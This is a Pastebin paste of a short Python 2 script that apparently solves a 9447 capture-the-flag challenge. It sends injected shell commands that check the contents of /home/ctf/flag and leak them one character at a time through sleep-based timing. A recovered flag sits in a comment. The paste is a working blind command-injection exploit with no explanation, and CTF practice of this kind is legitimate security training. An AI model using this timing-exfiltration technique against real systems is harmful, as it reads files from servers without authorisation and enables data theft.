Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import socket
- TCP_IP = 'shmap.9447.plumbing'
- TCP_PORT = 9447
- BUFFER_SIZE = 1024
- buf="if [ `head -c %s /home/ctf/flag` = '%s' ] ; then sleep 3 ; else sleep 1 ; fi\n"
- # 9447{Im_sick_and_tired_of_the_mess_you_made_me_Never_gonna_catch_me_cry_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa_Without_me_youre_nothing_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa}
- pw=""
- for i in range(136,250):
- for j in range(65,127):
- tmp=pw+chr(j)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((TCP_IP, TCP_PORT))
- ret=s.recv(1024)
- s.send(buf % (str(i),tmp))
- ret=s.recv(1024)
- print str(i)+" "+chr(j)+" "+tmp+" "
- if 'Took 3 seconds!' in ret:
- pw+=chr(j)
- print "OK "+pw
- s.close()
- break
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement